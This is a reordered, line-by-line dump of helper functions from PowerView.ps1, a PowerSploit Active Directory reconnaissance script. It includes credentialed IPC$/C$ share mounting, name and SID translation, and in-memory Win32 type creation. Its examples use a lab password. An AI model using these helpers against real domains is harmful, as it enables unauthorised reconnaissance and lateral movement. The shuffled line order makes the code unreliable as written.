_raw: [Parameter(Position = 0, ParameterSetName = 'Path', Mandatory = $True)]


_raw: [Parameter(Position = 0, Mandatory = $True, ParameterSetName = 'ComputerName', ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]


_raw: Specifies the remote \\UNC\path to remove the connection for.


_raw: Specifies the system to remove a \\ComputerName\IPC$ connection for.


_raw: New-RemoteConnection. If a -Path isn't specified, a -ComputerName is required to


_raw: This function uses WNetCancelConnection2 to destroy a connection created by


_raw: Destroys a connection created by New-RemoteConnection.


_raw: Throw "[Add-RemoteConnection] error mounting $TargetPath : $(([ComponentModel.Win32Exception]$Result).Message)"


_raw: Write-Verbose "$TargetPath successfully mounted"


_raw: $Result = $Mpr::WNetAddConnection2W($NetResourceInstance, $Credential.GetNetworkCredential().Password, $Credential.UserName, 4)


_raw: Write-Verbose "[Add-RemoteConnection] Attempting to mount: $TargetPath"


_raw: @('PRIMARY.testlab.local','SECONDARY.testlab.local') | Add-RemoteConnection  -Credential $Cred


_raw: Add-RemoteConnection -Path '\\PRIMARY.testlab.local\C$\' -Credential $Cred


_raw: $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)


_raw: $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force


_raw: Add-RemoteConnection -ComputerName 'PRIMARY.testlab.local' -Credential $Cred


_raw: A [Management.Automation.PSCredential] object of alternate credentials


_raw: Specifies the remote \\UNC\path to add the connection for.


_raw: Specifies the system to add a \\ComputerName\IPC$ connection for.


_raw: To destroy the connection, use Remove-RemoteConnection with the same specified \\UNC\share path


_raw: -Credential object. If a -Path isn't specified, a -ComputerName is required to pseudo-mount IPC$.


_raw: to the specified remote -Path (\\UNC\share) with the alternate credentials specified in the


_raw: This function uses WNetAddConnection2W to make a 'temporary' (i.e. not saved) connection


_raw: specified, a -ComputerName is required to pseudo-mount IPC$.


_raw: credential object, allowing for access of remote resources. If a -Path isn't


_raw: Pseudo "mounts" a connection to a remote path using the specified


_raw: Write-Warning "[Get-PrincipalContext] Error creating binding for object ('$Identity') context : $_"


_raw: $Out | Add-Member Noteproperty 'Identity' $ObjectIdentity


_raw: $Out | Add-Member Noteproperty 'Context' $Context


_raw: $Context = New-Object -TypeName System.DirectoryServices.AccountManagement.PrincipalContext -ArgumentList ([System.DirectoryServices.AccountManagement.ContextType]::Domain)


_raw: $Context = New-Object -TypeName System.DirectoryServices.AccountManagement.PrincipalContext -ArgumentList ([System.DirectoryServices.AccountManagement.ContextType]::Domain, $DomainName, $Credential.UserName, $Credential.GetNetworkCredential().Password)


_raw: $DomainName = Get-Domain | Select-Object -ExpandProperty Name


_raw: Write-Verbose '[Get-PrincipalContext] Using alternate credentials'


_raw: $Context = New-Object -TypeName System.DirectoryServices.AccountManagement.PrincipalContext -ArgumentList ([System.DirectoryServices.AccountManagement.ContextType]::Domain, $ConnectTarget)


_raw: $Context = New-Object -TypeName System.DirectoryServices.AccountManagement.PrincipalContext -ArgumentList ([System.DirectoryServices.AccountManagement.ContextType]::Domain, $ConnectTarget, $Credential.UserName, $Credential.GetNetworkCredential().Password)


_raw: Write-Verbose "[Get-PrincipalContext] Binding to domain '$Domain'"


_raw: Write-Verbose "[Get-PrincipalContext] Binding to domain '$ConnectTarget'"


_raw: $ConnectTarget = $ConvertedIdentity.SubString(0, $ConvertedIdentity.IndexOf('/'))


_raw: $ConvertedIdentity = $Identity | Convert-ADName -OutputType Canonical


_raw: if ($PSBoundParameters['Domain'] -or ($Identity -match '.+\\.+')) {


_raw: [Parameter(Position = 0, Mandatory = $True)]


_raw: A [Management.Automation.PSCredential] object of alternate credentials


_raw: Specifies the domain to use to search for user/group principals, defaults to the current domain.


_raw: A group SamAccountName (e.g. Group1), DistinguishedName (e.g. CN=group1,CN=Users,DC=testlab,DC=local),


_raw: Helper to take an Identity and return a DirectoryServices.AccountManagement.PrincipalContext


_raw: if ( ($Value -band $UACValue.Value) -eq $UACValue.Value) {


_raw: ForEach ($UACValue in $UACValues.GetEnumerator()) {


_raw: $ResultUACValues = New-Object System.Collections.Specialized.OrderedDictionary


_raw: $UACValues = New-Object System.Collections.Specialized.OrderedDictionary


_raw: # values from https://support.microsoft.com/en-us/kb/305144


_raw: [Parameter(Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]


_raw: An ordered dictionary with the converted UAC fields.


_raw: Accepts an integer representing a UAC binary blob.


_raw: Get-DomainUser harmj0y | ConvertFrom-UACValue -ShowAll


_raw: Get-DomainUser harmj0y | ConvertFrom-UACValue


_raw: Switch. Signals ConvertFrom-UACValue to display all UAC values, with a + indicating the value is currently set.


_raw: Specifies the integer UAC value to convert.


_raw: set are displayed- the -ShowAll switch will display all values with


_raw: dictionary with each bitwise value broken out. By default only values


_raw: Control (UAC) binary blob and will covert it to an ordered


_raw: This function will take an integer that represents a User Account


_raw: Converts a UAC int value to human readable form.


_raw: Write-Verbose "[Convert-ADName] Error translating '$TargetIdentity' : $($_.Exception.InnerException.Message)"


_raw: Invoke-Method $Translate 'Get' ($ADSOutputType)


_raw: $Null = Invoke-Method $Translate 'Set' (8, $TargetIdentity)


_raw: # 8 = Unknown name type -> let the server do the work for us


_raw: Set-Property $Translate 'ChaseReferral' (0x60)


_raw: Write-Verbose "[Convert-ADName] Error initializing translation for '$Identity' : $_"


_raw: $Null = Invoke-Method $Translate 'Init' (


_raw: Write-Verbose "[Convert-ADName] Error initializing translation for '$Identity' using alternate credentials : $_"


_raw: $Translate = New-Object -ComObject NameTranslate


_raw: if ($TargetIdentity -match "^[A-Za-z]+\\[A-Za-z ]+") {


_raw: if (-not $PSBoundParameters['OutputType']) {


_raw: ForEach ($TargetIdentity in $Identity) {


_raw: # if no domain or server is specified, default to GC initialization


_raw: [Void] $Object.GetType().InvokeMember($Property, 'SetProperty', $NULL, $Object, $Parameters)


_raw: function Set-Property([__ComObject] $Object, [String] $Property, $Parameters) {


_raw: $Object.GetType().InvokeMember($Property, 'GetProperty', $NULL, $Object, $NULL)


_raw: function Get-Property([__ComObject] $Object, [String] $Property) {


_raw: $Output = $Object.GetType().InvokeMember($Method, 'InvokeMethod', $NULL, $Object, $Parameters)


_raw: function Invoke-Method([__ComObject] $Object, [String] $Method, $Parameters) {


_raw: # accessor functions from Bill Stewart to simplify calls to NameTranslate


_raw: 'SPN'               =   11 # HTTP/kairomac.contoso.com


_raw: 'CanonicalEx'       =   10 # fabrikam.com/Users/Phineas Flynn


_raw: 'UPN'               =   9  # REDACTED_EMAIL


_raw: 'Unknown'           =   8  # unknown type - let the server do translation


_raw: 'EnterpriseSimple'  =   6  # REDACTED_EMAIL


_raw: 'DomainSimple'      =   5  # REDACTED_EMAIL


_raw: 'NT4'               =   3  # fabrikam\pflynn


_raw: 'Canonical'         =   2  # fabrikam.com/Engineers/Phineas Flynn


_raw: 'DN'                =   1  # CN=Phineas Flynn,OU=Engineers,DC=fabrikam,DC=com


_raw: [ValidateSet('DN', 'Canonical', 'NT4', 'Display', 'DomainSimple', 'EnterpriseSimple', 'GUID', 'Unknown', 'UPN', 'CanonicalEx', 'SPN')]


_raw: [Parameter(Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]


_raw: Outputs a string representing the converted name.


_raw: Accepts one or more objects name strings on the pipeline.


_raw: $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm', $SecPassword)


_raw: $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force


_raw: Convert-ADName -OutputType dn -Identity 'TESTLAB\harmj0y' -Server PRIMARY.testlab.local


_raw: "TESTLAB\krbtgt", "CN=Administrator,CN=Users,DC=testlab,DC=local" | Convert-ADName -OutputType Canonical


_raw: Specifies an alternate credential to use for the translation.


_raw: Specifies an Active Directory server (domain controller) to bind to for the translation.


_raw: Specifies the domain to use for the translation, defaults to the current domain.


_raw: SPN               service principal name format; e.g. 'HTTP/kairomac.contoso.com'


_raw: CanonicalEx       extended canonical name format, e.g. 'fabrikam.com/Users/Phineas Flynn'


_raw: UPN               user principal name; e.g., 'REDACTED_EMAIL'


_raw: EnterpriseSimple  simple enterprise name format, e.g. 'REDACTED_EMAIL'


_raw: DomainSimple      simple domain name format, e.g. 'REDACTED_EMAIL'


_raw: Display           display name, e.g. 'pflynn'


_raw: NT4               domain\username; e.g., 'fabrikam\pflynn'


_raw: Canonical         canonical name; e.g., 'fabrikam.com/Engineers/Phineas Flynn'


_raw: DN                short for 'distinguished name'; e.g., 'CN=Phineas Flynn,OU=Engineers,DC=fabrikam,DC=com'


_raw: Specifies the output name type you want to convert to, which must be one of the following:


_raw: CanonicalEx       extended canonical name format


_raw: Specifies the Active Directory object name to translate, of the following form:


_raw: and translates Active Directory names between various formats using the NameTranslate COM object.


_raw: This function is heavily based on Bill Stewart's code and Pasquale Lantella's code (in LINK)


_raw: Modifications: Will Schroeder (@harmj0y)


_raw: Converts Active Directory object names between a variety of formats.


_raw: Write-Verbose "[ConvertFrom-SID] Error converting SID '$TargetSid' : $_"


_raw: Convert-ADName -Identity $TargetSid @ADNameArguments


_raw: 'S-1-5-32-580'  { 'BUILTIN\Access Control Assistance Operators' }


_raw: 'S-1-5-32-579'  { 'BUILTIN\Access Control Assistance Operators' }


_raw: 'S-1-5-32-578'  { 'BUILTIN\Hyper-V Administrators' }


_raw: 'S-1-5-32-577'  { 'BUILTIN\RDS Management Servers' }


_raw: 'S-1-5-32-576'  { 'BUILTIN\RDS Endpoint Servers' }


_raw: 'S-1-5-32-575'  { 'BUILTIN\RDS Remote Access Servers' }


_raw: 'S-1-5-32-574'  { 'BUILTIN\Certificate Service DCOM Access' }


_raw: 'S-1-5-32-573'  { 'BUILTIN\Event Log Readers' }


_raw: 'S-1-5-32-569'  { 'BUILTIN\Cryptographic Operators' }


_raw: 'S-1-5-32-562'  { 'BUILTIN\Distributed COM Users' }


_raw: 'S-1-5-32-561'  { 'BUILTIN\Terminal Server License Servers' }


_raw: 'S-1-5-32-560'  { 'BUILTIN\Windows Authorization Access Group' }


_raw: 'S-1-5-32-559'  { 'BUILTIN\Performance Log Users' }


_raw: 'S-1-5-32-558'  { 'BUILTIN\Performance Monitor Users' }


_raw: 'S-1-5-32-557'  { 'BUILTIN\Incoming Forest Trust Builders' }


_raw: 'S-1-5-32-556'  { 'BUILTIN\Network Configuration Operators' }


_raw: 'S-1-5-32-555'  { 'BUILTIN\Remote Desktop Users' }


_raw: 'S-1-5-32-554'  { 'BUILTIN\Pre-Windows 2000 Compatible Access' }


_raw: 'S-1-5-32-552'  { 'BUILTIN\Replicators' }


_raw: 'S-1-5-32-551'  { 'BUILTIN\Backup Operators' }


_raw: 'S-1-5-32-550'  { 'BUILTIN\Print Operators' }


_raw: 'S-1-5-32-549'  { 'BUILTIN\Server Operators' }


_raw: 'S-1-5-32-548'  { 'BUILTIN\Account Operators' }


_raw: 'S-1-5-32-547'  { 'BUILTIN\Power Users' }


_raw: 'S-1-5-32-544'  { 'BUILTIN\Administrators' }


_raw: 'S-1-5-17'      { 'This Organization ' }


_raw: 'S-1-5-15'      { 'This Organization ' }


_raw: 'S-1-5-14'      { 'Remote Interactive Logon' }


_raw: 'S-1-5-13'      { 'Terminal Server Users' }


_raw: 'S-1-5-11'      { 'Authenticated Users' }


_raw: 'S-1-5-9'       { 'Enterprise Domain Controllers' }


_raw: 'S-1-4'         { 'Non-unique Authority' }


_raw: 'S-1-3-3'       { 'Creator Group Server' }


_raw: 'S-1-3-2'       { 'Creator Owner Server' }


_raw: # try to resolve any built-in SIDs first - https://support.microsoft.com/en-us/kb/243330


_raw: if ($PSBoundParameters['Credential']) { $ADNameArguments['Credential'] = $Credential }


_raw: if ($PSBoundParameters['Server']) { $ADNameArguments['Server'] = $Server }


_raw: if ($PSBoundParameters['Domain']) { $ADNameArguments['Domain'] = $Domain }


_raw: [Parameter(Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]


_raw: Accepts one or more SID strings on the pipeline.


_raw: $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm', $SecPassword)


_raw: $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force


_raw: Specifies an alternate credential to use for the translation.


_raw: Specifies an Active Directory server (domain controller) to bind to for the translation.


_raw: Specifies the domain to use for the translation, defaults to the current domain.


_raw: Converts a security identifier string (SID) to a group/user name


_raw: Converts a security identifier (SID) to a group/user name.


_raw: Write-Verbose "[ConvertTo-SID] Error converting $Domain\$Object : $_"


_raw: $Obj = (New-Object System.Security.Principal.NTAccount($Domain, $Object))


_raw: $Domain = (Get-Domain @DomainSearcherArguments).Name


_raw: elseif (-not $PSBoundParameters['Domain']) {


_raw: Get-DomainObject @DomainSearcherArguments | Select-Object -Expand objectsid


_raw: $UserDomain = $DN.SubString($DN.IndexOf('DC=')) -replace 'DC=','' -replace ',','.'


_raw: $DN = Convert-ADName -Identity $Object -OutputType 'DN' @DomainSearcherArguments


_raw: if ($PSBoundParameters['Credential']) { $DomainSearcherArguments['Credential'] = $Credential }


_raw: if ($PSBoundParameters['Server']) { $DomainSearcherArguments['Server'] = $Server }


_raw: if ($PSBoundParameters['Domain']) { $DomainSearcherArguments['Domain'] = $Domain }


_raw: [Parameter(Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]


_raw: A string representing the SID of the translated name.


_raw: Accepts one or more username specification strings on the pipeline.


_raw: 'TESTLAB\dfm' | ConvertTo-SID -Credential $Cred


_raw: $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)


_raw: $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force


_raw: Specifies an alternate credential to use for the translation.


_raw: Specifies an Active Directory server (domain controller) to bind to for the translation.


_raw: Specifies the domain to use for the translation, defaults to the current domain.


_raw: The user/group name to convert, can be 'user' or 'DOMAIN\user' format.


_raw: credentials are supplied, then Get-ADObject is used to try to map the name


_raw: using System.Security.Principal.NTAccount's translate function. If alternate


_raw: Converts a "DOMAIN\username" syntax to a security identifier (SID)


_raw: Required Dependencies: Convert-ADName, Get-DomainObject, Get-Domain


_raw: Converts a given user/group name to a security identifier (SID).


_raw: Write-Verbose "[Resolve-IPAddress] Could not resolve $Computer to an IP Address."


_raw: $Out | Add-Member Noteproperty 'IPAddress' $_.IPAddressToString


_raw: $Out | Add-Member Noteproperty 'ComputerName' $Computer


_raw: if ($_.AddressFamily -eq 'InterNetwork') {


_raw: @(([Net.Dns]::GetHostEntry($Computer)).AddressList) | ForEach-Object {


_raw: [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]


_raw: A custom PSObject with the ComputerName and IPAddress.


_raw: Accepts one or more IP address strings on the pipeline.


_raw: @("SERVER1", "SERVER2") | Resolve-IPAddress


_raw: [Net.Dns]::GetHostEntry(). If no hostname is provided, the default


_raw: Resolves a given hostename to its associated IPv4 address using


_raw: Resolves a given hostename to its associated IPv4 address.


_raw: $ObjectCSV[1..($ObjectCSV.Length-1)] | ForEach-Object { $CSVWriter.WriteLine($_) }


_raw: $ObjectCSV | ForEach-Object { $CSVWriter.WriteLine($_) }


_raw: $ObjectCSV = ConvertTo-Csv -InputObject $Entry -Delimiter $Delimiter -NoTypeInformation


_raw: $CSVWriter = New-Object System.IO.StreamWriter($CSVStream)


_raw: $CSVStream = New-Object IO.FileStream($OutputPath, $FileMode, [System.IO.FileAccess]::Write, [IO.FileShare]::Read)


_raw: $Mutex = New-Object System.Threading.Mutex $False,'CSVMutex'


_raw: # mutex so threaded code doesn't stomp on the output file


_raw: [Parameter(Mandatory = $True, Position = 1)]


_raw: [Parameter(Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]


_raw: Accepts one or more PSObjects on the pipeline.


_raw: Get-DomainUser | Export-PowerViewCSV -Path "users.csv" -Append -Delimiter '|'


_raw: Get-DomainUser | Export-PowerViewCSV -Path "users.csv"


_raw: Without this parameter, Export-PowerViewCSV replaces the file contents without warning.


_raw: Indicates that this cmdlet adds the CSV output to the end of the specified file.


_raw: Specifies a delimiter to separate the property values. The default is a comma (,)


_raw: Specifies the path to the CSV output file.


_raw: Specifies the objects to export as CSV strings.


_raw: Originally based on Dmitry Sotnikov's Export-CSV code: http://poshcode.org/1590


_raw: Uses .NET IO.FileStream/IO.StreamWriter objects for speed.


_raw: PowerView has a thread-safe way to export output to the same file.


_raw: using a mutex. This is so the various multi-threaded functions in


_raw: This helper exports an -InputObject to a .csv in a thread-safe manner


_raw: strings in a CSV file in a thread-safe manner.


_raw: Converts objects into a series of comma-separated (CSV) strings and saves the


_raw: $IniObject.$Section | Add-Member Noteproperty $Name $Values


_raw: # if ($Values -isnot [System.Array]) { $Values = @($Values) }


_raw: $Values = $Value.split(',') | ForEach-Object { $_.Trim() }


_raw: $IniObject.$Section | Add-Member Noteproperty $Name $Value


_raw: $IniObject | Add-Member Noteproperty $Section $SectionObject


_raw: Add-RemoteConnection -ComputerName $HostComputer -Credential $Credential


_raw: # map IPC$ to this computer if it's not already


_raw: if (-not $MappedComputers[$HostComputer]) {


_raw: $HostComputer = (New-Object System.Uri($TargetPath)).Host


_raw: if (($TargetPath -Match '\\\\.*\\.*') -and ($PSBoundParameters['Credential'])) {


_raw: [Parameter(Position = 0, Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]


_raw: Ouputs a hashtable representing the parsed .ini file.


_raw: Accepts one or more .ini paths on the pipeline.


_raw: Get-IniContent -Path \\PRIMARY.testlab.local\C$\Temp\GptTmpl.inf -Credential $Cred


_raw: $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)


_raw: $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force


_raw: Outputs the .ini details as a proper nested PSObject.


_raw: "C:\Windows\example.ini" | Get-IniContent -OutputObject


_raw: A [Management.Automation.PSCredential] object of alternate credentials


_raw: Switch. Output a custom PSObject instead of a hashtable.


_raw: Specifies the path to the .ini file to parse.


_raw: is parsed, and then the connection is destroyed with Remove-RemoteConnection.


_raw: then Add-RemoteConnection is used to map \\COMPUTERNAME\IPC$, the file


_raw: Parses an .ini file into a hashtable. If -Credential is supplied,


_raw: Required Dependencies: Add-RemoteConnection, Remove-RemoteConnection


_raw: Modifications: @harmj0y (-Credential support)


_raw: This helper parses an .ini file into a hashtable.


_raw: if(!$CreateVariables -and !$Dictionary) {


_raw: $Parameter = New-Object -TypeName System.Management.Automation.RuntimeDefinedParameter -ArgumentList @($Name, $Type, $AttributeCollection)


_raw: $ParameterAlias = New-Object -TypeName System.Management.Automation.AliasAttribute -ArgumentList (. $GetVar) -ErrorAction Stop


_raw: $ParameterOptions = New-Object -TypeName "System.Management.Automation.${_}Attribute" -ArgumentList (. $GetVar) -ErrorAction Stop


_raw: switch -regex ($PSBoundParameters.Keys) {


_raw: $AttributeCollection = New-Object -TypeName Collections.ObjectModel.Collection[System.Attribute]


_raw: if($DPDictionary.Keys -contains $Name) {


_raw: $ParameterAttribute = New-Object -TypeName System.Management.Automation.ParameterAttribute


_raw: # Strings to match attributes and validation arguments


_raw: $GetVar = {Get-Variable -Name $_ -ValueOnly -Scope 0}


_raw: if(!$PSBoundParameters.TryGetValue($Parameter, [ref]$tmp) -and $DefaultValue) {


_raw: $DefaultValue = Get-Variable -Name $Parameter -ValueOnly -Scope 0


_raw: ForEach ($Parameter in $UnboundParameters) {


_raw: # Even if parameter is not bound, corresponding variable is created with parameter's default value (if specified)


_raw: Where-Object { $PSBoundParameters.Keys -notcontains $_ }


_raw: # Find unbound parameters in the current parameter set


_raw: Where-Object { $_.Value.ParameterSets.Keys -contains $PsCmdlet.ParameterSetName } |


_raw: # Find parameters that are belong to the current parameter set


_raw: $UnboundParameters = (Get-Command -Name ($PSCmdlet.MyInvocation.InvocationName)).Parameters.GetEnumerator()  |


_raw: # Since we rely solely on $PSBoundParameters, we don't have access to default values for unbound parameters


_raw: $StaleKeys | ForEach-Object {[void]$PSBoundParameters.Remove($_)}


_raw: if($_.Value -ne (Get-Variable -Name $_.Key -ValueOnly -Scope 0)) {


_raw: # If object doesn't has Equals (e.g. $null), fallback to the PowerShell's -ne operator


_raw: if(!$_.Value.Equals((Get-Variable -Name $_.Key -ValueOnly -Scope 0))) {


_raw: # If object has Equals, compare bound key and variable using it


_raw: if($_.Value.PSobject.Methods.Name -match '^Equals$') {


_raw: $StaleKeys = $PSBoundParameters.GetEnumerator() |


_raw: Set-Variable -Name $Parameter -Value $BoundParameters.$Parameter -Scope 1 -Force


_raw: $BoundKeys = $BoundParameters.Keys | Where-Object { $CommonParameters -notcontains $_ }


_raw: $CommonParameters = (Get-Command _temp).Parameters.Keys


_raw: function _temp { [CmdletBinding()] Param() }


_raw: $InternalDictionary = New-Object -TypeName System.Management.Automation.RuntimeDefinedParameterDictionary


_raw: Throw 'BoundParameters must be a System.Management.Automation.PSBoundParametersDictionary object'


_raw: if($_.GetType().Name -notmatch 'Dictionary') {


_raw: # so one can't use PowerShell's '-is' operator to validate type.


_raw: # System.Management.Automation.PSBoundParametersDictionary is an internal sealed class,


_raw: [Parameter(Mandatory = $true, ValueFromPipelineByPropertyName = $true, ParameterSetName = 'CreateVariables')]


_raw: Throw 'Dictionary must be a System.Management.Automation.RuntimeDefinedParameterDictionary object'


_raw: [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')]


_raw: [Parameter(Mandatory = $true, ValueFromPipeline = $true, ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')]


_raw: Appropriate for a simple dynamic parameter creation.


_raw: If not specified, create and return a RuntimeDefinedParameterDictionary


_raw: Appropriate for custom dynamic parameters creation.


_raw: If specified, add resulting RuntimeDefinedParameter to an existing RuntimeDefinedParameterDictionary.


_raw: If specified, set the ValidateSet attribute of this dynamic parameter


_raw: If specified, set the ValidateScript attribute of this dynamic parameter


_raw: If specified, set the ValidatePattern attribute of this dynamic parameter


_raw: If specified, set the ValidateLength attribute of this dynamic parameter


_raw: If specified, set the ValidateRange attribute of this dynamic parameter


_raw: If specified, set the ValidateNotNullOrEmpty attribute of this dynamic parameter


_raw: If specified, set the ValidateNotNull attribute of this dynamic parameter


_raw: If specified, set the AllowEmptyCollection attribute of this dynamic parameter


_raw: If specified, set the AllowEmptyString attribute of this dynamic parameter


_raw: If specified, set the AllowNull attribute of this dynamic parameter


_raw: If specified, set the ParameterSet attribute for this dynamic parameter. By default parameter is added to all parameters sets.


_raw: If specified, set the ValueFromRemainingArguments attribute for this dynamic parameter


_raw: If specified, set the ValueFromPipelineByPropertyName attribute for this dynamic parameter


_raw: If specified, set the ValueFromPipeline attribute for this dynamic parameter


_raw: This is the new PowerShell 4.0 attribute that hides parameter from tab-completion.


_raw: If specified, set the DontShow for this dynamic parameter.


_raw: If specified, set the HelpMessage for this dynamic parameter


_raw: If specified, set the Position attribute for this dynamic parameter


_raw: If specified, set the Mandatory attribute for this dynamic parameter


_raw: If specified, one or more aliases to assign to the dynamic parameter


_raw: Type for the dynamic parameter.  Default is string


_raw: Credit to BM for alias and type parameters and their handling


_raw: Credits to jrich523 and ramblingcookiemonster for their initial code and inspiration:


_raw: Then you output this RuntimeDefinedParameterDictionary to the pipeline. This allows more fine-grained control of the dynamic parameters,


_raw: 2. Dynamic parameters are created by separate function calls and added to the RuntimeDefinedParameterDictionary you created beforehand.


_raw: with one function call. There is no need to create and maintain custom RuntimeDefinedParameterDictionary.


_raw: 1. All dynamic parameters created in one pass using pipeline input to the function. This mode allows to create dynamic parameters en masse,


_raw: Alternatively, manually reference $PSBoundParameters for the dynamic parameter value.


_raw: ('Process' for advanced functions) to create those variables.


_raw: Use New-DynamicParameter with 'CreateVariables' switch in your main code block,


_raw: Please keep in mind that all dynamic parameters you create, will not have corresponding variables created.


_raw: Provide tab completion and intellisense for parameters, depending on the environment


_raw: Include parameters depending on the value of a user-specified parameter


_raw: Include parameters only if your environment dictates it


_raw: Helper function to simplify creating dynamic parameters.


_raw: Originally released under the Microsoft Public License (Ms-PL).


_raw: [Runtime.InteropServices.Marshal].GetMethod('PtrToStructure', [Type[]] @([IntPtr], [Type])))


_raw: 'PrivateScope, Public, Static, HideBySig, SpecialName',


_raw: # No more having to call [Runtime.InteropServices.Marshal]::PtrToStructure!


_raw: # Allow for explicit casting from an IntPtr


_raw: # No more having to call [Runtime.InteropServices.Marshal]::SizeOf!


_raw: # Make the struct aware of its own size.


_raw: if ($ExplicitLayout) { $NewField.SetOffset($Offset) }


_raw: $AttribBuilder = New-Object Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, [Object[]] @($UnmanagedType))


_raw: $AttribBuilder = New-Object Reflection.Emit.CustomAttributeBuilder($ConstructorInfo,


_raw: $UnmanagedType = $MarshalAs[0] -as ([Runtime.InteropServices.UnmanagedType])


_raw: $NewField = $StructBuilder.DefineField($FieldName, $Type, 'Public')


_raw: $Fields[$Index] = @{FieldName = $Field; Properties = $StructFields[$Field]}


_raw: # Unfortunately, PSv2 doesn't have the luxury of the


_raw: # Sort each field according to the orders specified


_raw: $Fields = New-Object Hashtable[]($StructFields.Count)


_raw: $StructBuilder = $Module.DefineType($FullName, $StructAttributes, [ValueType], $PackingSize)


_raw: $StructAttributes = $StructAttributes -bor [Reflection.TypeAttributes]::SequentialLayout


_raw: $StructAttributes = $StructAttributes -bor [Reflection.TypeAttributes]::ExplicitLayout


_raw: [Reflection.TypeAttributes] $StructAttributes = 'AnsiClass,


_raw: [Parameter(Position = 3, Mandatory=$True)]


_raw: [Parameter(Position = 2, Mandatory=$True)]


_raw: [ValidateScript({($_ -is [Reflection.Emit.ModuleBuilder]) -or ($_ -is [Reflection.Assembly])})]


_raw: [Parameter(Position = 1, Mandatory=$True)]


_raw: definition as closely as possible. Sorry, I'm not going to name it


_raw: again, this was developed in such a way so as to emulate a "C style"


_raw: PowerShell purists may disagree with the naming of this function but


_raw: # Example of using an explicit layout in order to create a union.


_raw: e_res2 =     field 17 UInt16[] -MarshalAs @('ByValArray', 10)


_raw: e_res =      field 14 UInt16[] -MarshalAs @('ByValArray', 4)


_raw: $ImageDosHeader = struct $Mod PE.IMAGE_DOS_HEADER @{


_raw: $ImageDosSignature = psenum $Mod PE.IMAGE_DOS_SIGNATURE UInt16 @{


_raw: $Mod = New-InMemoryModule -ModuleName Win32


_raw: Indicates that an explicit offset for each field will be specified.


_raw: Specifies the memory alignment of fields.


_raw: A hashtable of fields. Use the 'field' helper function to ease


_raw: New-InMemoryModule to define an in-memory module.


_raw: The in-memory module that will host the struct. Use


_raw: relying upon calling SizeOf and/or PtrToStructure in the Marshal


_raw: converter so that you can easily cast an IntPtr to the struct without


_raw: it will come with a built-in GetSize method as well as an explicit


_raw: One of the features of 'struct' is that after your struct is defined,


_raw: type, and optionally, its offset and special marshaling attributes.


_raw: is comprosed of the order in which it should be defined, its .NET


_raw: fields are specified using a hashtable where each field of the struct


_raw: memory using as close to a "C style" as PowerShell will allow. Struct


_raw: The 'struct' function facilitates the creation of structs entirely in


_raw: Author: Matthew Graeber (@mattifestation)


_raw: Creates an in-memory struct for use in your PowerShell session.


_raw: [Parameter(Position = 1, Mandatory=$True)]


_raw: [Parameter(Position = 0, Mandatory=$True)]


_raw: # A helper function used to reduce typing while defining struct


_raw: $null = $EnumBuilder.DefineLiteral($Key, $EnumElements[$Key] -as $EnumType)


_raw: # Apply the specified enum type to each element


_raw: $FlagsCustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($FlagsConstructor, @())


_raw: $EnumBuilder = $Module.DefineEnum($FullName, 'Public', $EnumType)


_raw: [Parameter(Position = 3, Mandatory=$True)]


_raw: [Parameter(Position = 2, Mandatory=$True)]


_raw: [ValidateScript({($_ -is [Reflection.Emit.ModuleBuilder]) -or ($_ -is [Reflection.Assembly])})]


_raw: definition as closely as possible. Sorry, I'm not going to name it


_raw: again, this was developed in such a way so as to emulate a "C style"


_raw: PowerShell purists may disagree with the naming of this function but


_raw: WINDOWS_CE_GUI =           9 # Image runs in the Windows CE subsystem.


_raw: NATIVE_WINDOWS =           8 # Image is a native Win9x driver.


_raw: POSIX_CUI =                7 # Image runs in the Posix character subsystem.


_raw: OS2_CUI =                  5 # Image runs in the OS/2 character subsystem.


_raw: WINDOWS_CUI =              3 # Image runs in the Windows character subsystem.


_raw: WINDOWS_GUI =              2 # Image runs in the Windows GUI subsystem.


_raw: NATIVE =                   1 # Image doesn't require a subsystem.


_raw: $ImageSubsystem = psenum $Mod PE.IMAGE_SUBSYSTEM UInt16 @{


_raw: $Mod = New-InMemoryModule -ModuleName Win32


_raw: Specifies that the enum should be treated as a bitfield.


_raw: New-InMemoryModule to define an in-memory module.


_raw: The in-memory module that will host the enum. Use


_raw: memory using as close to a "C style" as PowerShell will allow.


_raw: The 'psenum' function facilitates the creation of enums entirely in


_raw: Author: Matthew Graeber (@mattifestation)


_raw: Creates an in-memory enumeration for use in your PowerShell session.


_raw:
#requires -version 2
<#
PowerSploit File: PowerView.ps1
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: None
#>
########################################################
#
# PSReflect code for Windows API access
# Author: @mattifestation
#   https://raw.githubusercontent.com/mattifestation/PSReflect/master/PSReflect.psm1
#
########################################################
function New-InMemoryModule {
<#
.SYNOPSIS
Creates an in-memory assembly and module
Author: Matthew Graeber (@mattifestation)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
.DESCRIPTION
When defining custom enums, structs, and unmanaged functions, it is
necessary to associate to an assembly module. This helper function
creates an in-memory module that can be passed to the 'enum',
'struct', and Add-Win32Type functions.
.PARAMETER ModuleName
